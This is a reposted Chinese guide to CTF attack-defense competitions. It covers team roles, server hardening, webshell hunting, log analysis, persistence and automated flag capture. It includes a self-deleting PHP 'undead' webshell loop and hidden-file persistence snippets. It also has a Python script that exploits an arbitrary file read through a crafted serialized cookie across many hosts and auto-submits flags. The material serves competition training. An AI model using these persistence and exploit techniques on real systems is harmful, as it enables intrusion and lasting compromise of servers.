搜索

[21704] 2021-02-24_CTF线下攻防入门指南

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-02-24_CTF线下攻防入门指南 C T F 线 下 攻 防 入 门 指 南 转 自 h a c k 之 道   L e m o n S e c   2 0 2 1 - 0 2 - 2 4 简 介 C T F 线 下 攻 防 赛 主 要 以 攻 防 模 式 （ A t t a c k   &   D e f e n s e ） 来 呈 现 。 一 般 在 这 种 模 式 下 ， 一 支 参 赛 队 伍 有 三 名 队 员 ， 所 有 的 参 赛 队 伍 都 会 有 同 样 的 初 始 环 境 ， 包 含 若 干 台 服 务 器 。 参 赛 队 伍 挖 掘 漏 洞 ， 通 过 攻 击 对 手 的 服 务 器 获 取 F l a g 来 得 分 ， 以 修 补 自 身 服 务 器 的 漏 洞 防 止 扣 分 。 攻 防 模 式 可 以 通 过 实 时 得 分 反 映 出 比 赛 情 况 ， 是 一 种 竞 争 激 烈 ， 具 有 很 强 观 赏 性 和 高 度 透 明 性 的 网 络 安 全 赛 制 。 在 这 种 赛 制 中 ， 不 仅 仅 是 比 参 赛 队 员 的 智 力 和 技 术 ， 同 时 也 比 团 队 之 间 的 分 工 配 合 与 合 作 。   题 目 类 型 1 . 语 言 常 见 漏 洞 题 目 P y t h o n   模 板 注 入 ( S S T I ) ： 直 接 利 用 漏 洞 执 行 命 令 获 得 F l a g 、 绕 过 关 键 字 限 制 。 N o d e j s   任 意 文 件 读 取 ： 直 接 读 取 F l a g 。 P H P   各 类 漏 洞 ： 文 件 包 含 、 反 序 列 化 、 文 件 上 传 、 注 入 、 代 码 执 行 、 命 令 执 行 。 2 . 后 门 漏 洞 3 . 公 开 C M S 漏 洞 D Z   S S R F 漏 洞 、 小 众 C M S   0 d a y 、 出 题 人 自 己 改 / 写 的 C M S 。 比 赛 拓 扑 （ 见 图 1 ）
图 1   比 赛 拓 扑 整 体 思 路 （ 见 图 2 ） 图 2   整 体 思 路 分 工 通 常 在 线 下 攻 防 赛 中 会 有 三 名 队 员 参 加 比 赛 ， 而 如 何 对 三 名 队 员 进 行 合 理 的 分 工 ， 这 是 在 比 赛 开 始 之 前 就 需 要 做 好 的 工 作 。 在 线 下 攻 防 赛 中 一 般 需 要 两 名 队 员 作 为 攻 击 者 来 进 行 漏 洞 挖 掘 、 权 限 维 持 、 探 查 网 络 、 漏 洞 利 用 、 自 动 化 攻 击 、 自 动 化 提
交 等 。 这 两 名 队 员 中 要 有 一 个 代 码 编 写 能 力 比 较 强 的 人 ， 其 主 要 作 用 是 在 短 时 间 内 构 造 出 能 批 量 提 交 、 自 动 化 攻 击 的 脚 本 程 序 ， 避 免 浪 费 人 力 在 提 交 F l a g 上 。 另 一 名 队 员 充 当 防 护 者 的 角 色 进 行 漏 洞 修 复 、 后 门 排 查 、 文 件 监 控 、 弱 口 令 排 查 等 。 防 护 在 任 何 有 竞 技 性 质 的 攻 防 比 赛 中 ， 防 护 都 是 非 常 重 要 的 一 环 。 C T F 线 下 攻 防 也 不 例 外 ， 往 往 在 比 赛 最 终 的 排 名 前 几 名 都 是 对 服 务 器 做 了 防 护 措 施 的 队 伍 。 防 护 一 般 情 况 下 分 为 漏 洞 修 复 、 文 件 备 份 、 后 门 排 查 、 文 件 监 控 、 弱 口 令 排 查 等 。 漏 洞 修 复 即 在 攻 击 者 角 色 找 到 了 可 以 攻 击 的 点 之 后 ， 在 相 应 的 代 码 处 进 行 过 滤 、 修 复 。 文 件 备 份 即 在 开 始 进 行 比 赛 的 时 候 一 定 要 对 原 始 数 据 进 行 备 份 ， 这 样 可 以 防 止 服 务 器 相 关 W e b 文 件 被 删 除 导 致 服 务 D o w n 掉 之 后 可 以 自 行 恢 复 （ 一 般 在 线 下 比 赛 服 务 D o w n 掉 会 持 续 扣 分 ， 而 重 启 一 次 服 务 会 扣 掉 大 量 分 数 ） 。 后 门 排 查 分 为 两 种 情 况 ： 第 一 种 为 主 办 方 为 了 照 顾 水 平 比 较 低 的 选 手 而 留 下 的 隐 藏 后 门 ， 第 二 种 为 其 他 参 赛 队 伍 通 过 漏 洞 取 得 服 务 器 一 定 权 限 后 留 下 来 的 后 门 。 针 对 第 一 种 情 况 可 以 开 始 比 赛 时 把 备 份 文 件 在 后 门 排 查 工 具 里 （ 如 D 盾 、 河 马 ） 进 行 一 次 W e b S h e l l 审 查 ， 找 到 主 办 方 留 下 的 后 门 ， 删 除 即 可 （ 见 图 3 ） 。 图 3   W e b S h e l l 审 查 但 是 也 有 可 能 主 办 方 留 下 了 一 个 免 杀 马 ， 在 这 种 情 况 下 ， 如 果 有 外 网 可 以 把 源 代 码 下 载 下 来 ， 把 官 方 源 代 码 和 比 赛 源 代 码 进 行 一 次 d i f f ， 这 种 办 法 基 本 上 可 以 找 出 所 有 主 办 方 留 下 的 W e b S h e l l 。 也 可 以 利 用 这 种 方 式 帮 助 攻 击 者 进 行 漏 洞 挖 掘 ， 因 为 如 果 不 是 已 知 公 开 的 漏 洞 ， 主 办 方 都 会 在 源 代 码 里 进 行 更 改 ， 达 到 可 以 G e t S h e l l 的 目 的 。 针 对 第 二 种 情 况 要 看 攻 击 者 留 下 了 什 么 类 型 的 后 门 ， 如 果 是 普 通 的 W e b S h e l l 一 句 话 或 者 变 种 的 一 句 话 木 马 ， 那 么 直 接 删 除 即 可 。 如 果 是 不 死 马 + 内 存 马 就 会 比
较 麻 烦 ， 因 为 在 线 下 攻 防 赛 中 一 般 不 是 r o o t 权 限 ， 所 以 是 没 有 权 限 杀 死 进 程 的 。 一 般 的 不 死 马 都 是 通 过 循 环 创 建 W e b S h e l l 文 件 ， 如 果 不 杀 死 进 程 的 话 会 一 直 创 建 下 去 ， 但 是 也 会 有 延 时 性 ， 可 以 通 过 这 种 延 时 性 写 一 个 暴 力 循 环 删 除 的 脚 本 来 达 到 删 除 的 目 的 。 下 面 为 一 个 常 见 的 不 死 马 。 < ? p h p s e t _ t i m e _ l i m i t ( 0 ) ; i g n o r e _ u s e r _ a b o r t ( 1 ) ; u n l i n k ( _ _ F I L E _ _ ) ; w h i l e ( 1 ) {         f i l e _ p u t _ c o n t e n t s ( ' . c o n f i g . p h p ' ,   ' < ? p h p   p h p i n f o ( ) ; ? > ' ) ;         s y s t e m ( ' c h m o d   7 7 7   . c o n f i g . p h p ' ) ;           t o u c h ( " . c o n f i g . p h p " ,   m k t i m e ( 2 0 , 1 5 , 1 , 1 1 , 1 7 , 2 0 1 7 ) ) ;   u s l e e p ( 1 0 0 ) ; ? > 文 件 监 控 即 是 要 针 对 攻 击 者 在 服 务 器 上 创 建 的 任 何 文 件 有 一 个 告 警 或 者 阻 断 的 操 作 ， 要 保 持 服 务 器 的 文 件 不 被 删 除 ， 不 允 许 上 传 或 者 创 建 文 件 。 网 上 有 相 应 的 文 件 监 控 的 脚 本 ， 可 以 参 考 学 习 。 弱 口 令 排 查 即 是 主 办 方 给 的 服 务 器 为 弱 口 令 ， 或 者 自 己 服 务 器 内 部 W e b 服 务 内 存 在 弱 口 令 ， 针 对 这 种 情 况 一 定 要 及 时 更 改 弱 口 令 ， 做 好 弱 口 令 检 查 。 日 志 分 析 在 线 下 攻 防 模 式 中 日 志 分 析 是 非 常 重 要 的 一 环 ， 日 志 分 析 一 般 是 在 比 赛 正 式 开 始 之 后 进 行 的 对 其 他 攻 击 者 的 流 量 进 行 分 析 提 取 有 用 的 信 息 ， 通 过 查 看 其 他 队 伍 打 过 来 的 流 量 可 以 分 析 到 他 们 留 下 的 W e b S h e l l 文 件 名 、 漏 洞 利 用 方 式 、 漏 洞 产 生 的 点 ， 方 便 自 己 进 行 攻 击 。 因 为 主 办 方 可 能 会 不 允 许 选 手 查 看 日 志 文 件 ， 再 加 上 日 志 文 件 不 会 对 P O S T 的 数 据 进 行 分 析 打 印 ， 所 以 我 们 在 进 行 日 志 监 控 、 流 量 分 析 时 ， 一 定 要 提 前 准 备 好 自 己 的 监 控 脚 本 ， 对 W e b 服 务 进 行 监 控 、 分 析 ， 这 样 才 可 以 抓 取 到 完 整 的 其 他 队 伍 打 过 来 的 流 量 ， 方 便 自 己 审 查 。 漏 洞 挖 掘 在 C T F 攻 防 赛 中 ， 比 赛 的 语 言 以 P H P 居 多 ， 漏 洞 的 类 型 主 要 为 后 门 漏 洞 、 注 入 类 型 、 文 件 上 传 、 文 件 包 含 、 代 码 执 行 、 命 令 执 行 或 互 联 网 已 公 开 的 已 知 C M S 漏 洞 。 因 此 在 比 赛 中 ， 漏 洞 挖 掘 主 要 是 以 这 几 种 漏 洞 为 主 。 漏 洞 挖 掘 阶 段 ， 首 先 将 备 份 的 源 代 码 使 用 D 盾 进 行 查 杀 ， 筛 选 出 D 盾 扫 描 出 的 木 马 文 件 然 后 在 服 务 器 上 将 其 删 除 。 对 于 其 他 类 型 的 漏 洞 ， 主 要 还 是 通 过 白 盒 与 黑 盒 方 式 进 行 漏 洞 挖 掘 。 黑 盒 的 方 式 与 渗 透 测 试 有 点 相 似 ， 而 白 盒 测 试 中 ， 笔 者 使 用 的 工 具 为 “ S e a y 源 代 码 审 计 系 统 ” ， 根 据 工 具 列 出 的 漏 洞 描 述 去 尽 可 能 找 上 述 的 漏 洞 类 型 （ 见 图 4 ） 。
图 4   漏 洞 挖 掘               对 于 不 同 厂 商 支 持 的 比 赛 ， 获 取 F l a g 的 方 式 也 不 同 。 在 笔 者 的 参 赛 经 历 中 遇 到 过 两 种 获 取 F l a g 的 方 式 ： 一 种 是 F l a g 在 系 统 的 某 个 目 录 下 ； 另 一 种 则 是 使 用 已 G e t S h e l l 的 主 机 去 访 问 F l a g 机 ， 在 返 回 包 中 会 有 F l a g 。 对 于 两 种 不 同 模 式 的 获 取 F l a g 机 制 ， 漏 洞 挖 掘 的 侧 重 点 也 不 同 。 比 如 前 者 方 式 对 于 文 件 包 含 漏 洞 只 需 包 含 F l a g 路 径 即 可 ， 但 是 对 于 后 者 方 式 还 需 确 定 是 否 存 在 远 程 包 含 或 者 伪 协 议 是 否 可 用 。 权 限 维 持 1 . 生 成 “ . ” 开 头 的 隐 藏 文 件 。 < ? p h p f i l e _ p u t _ c o n t e n t s ( ' . c o n f i g . p h p ' ,   ' < ? p h p   p h p i n f o ( ) ; ? > ' ) ;         ? > 2 . 生 成 “ - ” 开 头 的 文 件 。 - 开 头 的 文 件 ， 如 果 使 用 r m 直 接 删 除 ， 将 无 法 删 除 ， 因 为 r m 命 令 将 会 把 - 后 面 的 字 符 串 当 作 参 数 去 执 行 。 r o o t @ J D : ~ / t e s t #   e c h o   " 1 2 3 "   >   - t e s t . p h p r o o t @ J D : ~ / t e s t #   r m   - t e s t . p h p   r m :   i n v a l i d   o p t i o n   - -   ' t ' T r y   ' r m   . / - t e s t . p h p '   t o   r e m o v e   t h e   f i l e   ' - t e s t . p h p ' . T r y   ' r m   - - h e l p '   f o r   m o r e   i n f o r m a t i o n . r o o t @ J D : ~ / t e s t # 3 . 使 用 不 死 马 。 < ? p h p s e t _ t i m e _ l i m i t ( 0 ) ; i g n o r e _ u s e r _ a b o r t ( 1 ) ; u n l i n k ( _ _ F I L E _ _ ) ; w h i l e ( 1 ) {         f i l e _ p u t _ c o n t e n t s ( ' . c o n f i g . p h p ' ,   ' < ? p h p   p h p i n f o ( ) ; ? > ' ) ;
        s y s t e m ( ' c h m o d   7 7 7   . c o n f i g . p h p ' ) ;           t o u c h ( " . c o n f i g . p h p " ,   m k t i m e ( 2 0 , 1 5 , 1 , 1 1 , 1 7 , 2 0 1 7 ) ) ;   u s l e e p ( 1 0 0 ) ; ? > 上 述 代 码 的 意 思 为 ： 首 先 代 码 设 置 程 序 永 久 执 行 直 到 程 序 结 束 ， 并 且 客 户 端 关 闭 后 仍 然 可 以 执 行 P H P 代 码 ， 可 保 持 P H P 进 程 一 直 在 执 行 。 然 后 删 除 自 己 后 进 入 循 环 ， 循 环 生 成 木 马 文 件 。 由 于 源 木 马 已 自 删 除 ， 且 已 注 入 内 存 中 执 行 ， 想 让 程 序 停 止 ， 只 能 是 重 启 服 务 ， 或 者 找 出 此 程 序 的 进 程 然 后 k i l l 。 也 可 使 用 不 死 马 生 成 “ - ” 开 头 的 木 马 文 件 。 自 动 化 攻 击 自 动 化 攻 击 在 C T F 线 下 攻 防 赛 的 体 现 是 自 动 化 打 p a y l o a d 获 取 到 F l a g 然 后 自 动 提 交 的 过 程 。 笔 者 以 最 近 参 加 的 一 场 比 赛 来 举 例 说 明 。 那 场 比 赛 的 时 长 为 3 小 时 ， 其 中 前 2 小 时 为 5 分 钟 一 轮 ， 最 后 1 小 时 为 2 . 5 分 钟 一 轮 。 因 此 在 这 么 短 的 时 间 内 ， 在 知 道 如 何 去 攻 击 获 取 F l a g 的 情 况 下 ， 手 工 获 取 F l a g 且 手 工 提 交 ， 在 短 短 的 2 . 5 分 钟 内 也 许 只 能 提 交 4 个 左 右 队 伍 的 F l a g ， 这 显 然 不 是 一 种 优 雅 的 方 式 。 在 那 场 比 赛 中 ， 笔 者 印 象 最 深 刻 的 那 个 漏 洞 是 用 户 注 册 登 录 后 图 片 加 载 处 存 在 任 意 文 件 读 取 漏 洞 。 此 漏 洞 并 不 难 ， 但 是 在 想 要 成 功 的 利 用 此 漏 洞 ， 必 须 先 注 册 ， 然 后 使 用 注 册 的 账 号 登 录 ， 使 用 登 录 后 的 状 态 再 去 访 问 漏 洞 页 面 去 使 用 p a y l o a d 来 获 取 F l a g 。 以 下 为 笔 者 的 代 码 ： # 获 取 F l a g d e f   r e g i s t _ l o g i n _ g e t F l a g ( u r l ) :   d a t a   =   {     " u s e r n a m e " : " n s f o c u s " ,     " p a s s w o r d " : " n s f o c u s "   }   c o o k i e   =   { " P i c t u r e " : " Y T o x O n t z O j I 6 I m F h I j t z O j I 4 O i I u L i 8 u L i 8 u L i 8 u L i 8 u L i 8 u L i 8 u L i 8 u L i 9 m b G F n I j t 9 " }   r   =   r e q u e s t s . S e s s i o n ( )   u r l 1   =   u r l   +   " / i n d e x . p h p / r e g i s t e r "   u r l 2   =   u r l   +   " / i n d e x . p h p / l o g i n "   u r l 3   =   u r l   +   " / i n d e x . p h p / p i c t u r e "   r 1   =   r . p o s t ( u r l 1 , d a t a   =   d a t a )   r 2   =   r . p o s t ( u r l 2 , d a t a   =   d a t a )   r 3   =   r . g e t ( u r l 3 , c o o k i e s   = c o o k i e )   s t r _ r e s u l t   =   r 3 . t e x t   m a t c h   =   r e . c o m p i l e ( " < i m g   s r c = " d a t a : i m a g e / j p g ; b a s e 6 4 , ( . * ? ) "   > " )   t r y :
    r e s u l t _ s t r s _ l i s t   =   r e . f i n d a l l ( m a t c h , s t r _ r e s u l t )     p r i n t   s t r ( r e s u l t _ s t r s _ l i s t )     r e s u l t _ s t r s   =   r e s u l t _ s t r s _ l i s t [ 0 ]     F l a g   =   b a s e 6 4 . b 6 4 d e c o d e ( r e s u l t _ s t r s )     r e t u r n   F l a g   e x c e p t :     r e t u r n   0 #   提 交 F l a g d e f   p o s t _ F l a g ( F l a g ) :   u r l   =   " h t t p : / / 1 7 2 . 1 6 . 2 0 0 . 1 4 : 9 0 0 0 / s u b m i t _ F l a g / "   F l a g   =   s t r ( F l a g ) . r e p l a c e ( " n " , " " )   d a t a   =   { " t o k e n " : " Q h f F G d 6 A V A u c A W 4 k H X B D y d U n q S V Q c X A U b r j d u x C A m w m M C B J f w U U 4 Z t Q Y E 7 4 6 q e N K n K E D G E Y d F 6 2 " , " F l a g " : F l a g }   r e s = r e q u e s t s . p o s t ( u r l , d a t a , t i m e o u t = 1 )   p r i n t   r e s . t e x t i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :   f o r   x   i n   x r a n g e ( 1 , 3 2 ) :     u r l s   =   " h t t p : / / 1 7 2 . 1 6 . " + s t r ( x ) + " . 1 0 1 / "     p o s t _ F l a g ( r e g i s t _ l o g i n _ g e t F l a g ( u r l s ) ) 总 结 在 线 下 攻 防 模 式 中 一 定 要 掌 握 以 下 几 点 。 1 . 对 于 浏 览 器 的 使 用 。 大 部 分 漏 洞 都 是 网 上 可 查 的 ， 所 以 一 个 好 的 搜 索 技 巧 是 十 分 重 要 的 。 2 . 对 于 漏 洞 的 反 应 能 力 。 攻 防 模 式 中 一 般 都 需 要 G e t S h e l l ， 所 以 一 定 要 多 关 注 可 以 R C E 的 点 。 3 . 脚 本 的 编 写 能 力 。 在 g e t s h e l l 之 后 拿 到 了 F l a g ， 如 果 有 5 0 个 队 ， 5 分 钟 刷 新 一 次 F l a g 的 话 通 过 手 动 提 交 会 使 得 一 个 队 员 只 能 提 交 F l a g ， 而 且 还 可 能 会 D o w n 掉 ， 所 以 如 果 有 一 个 可 以 快 速 编 写 脚 本 的 人 那 就 再 好 不 过 了 。 4 . 好 的 心 态 。 服 务 D o w n 掉 不 要 慌 ， 心 态 不 要 崩 ， 崩 了 就 什 么 都 没 有 了 。
一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理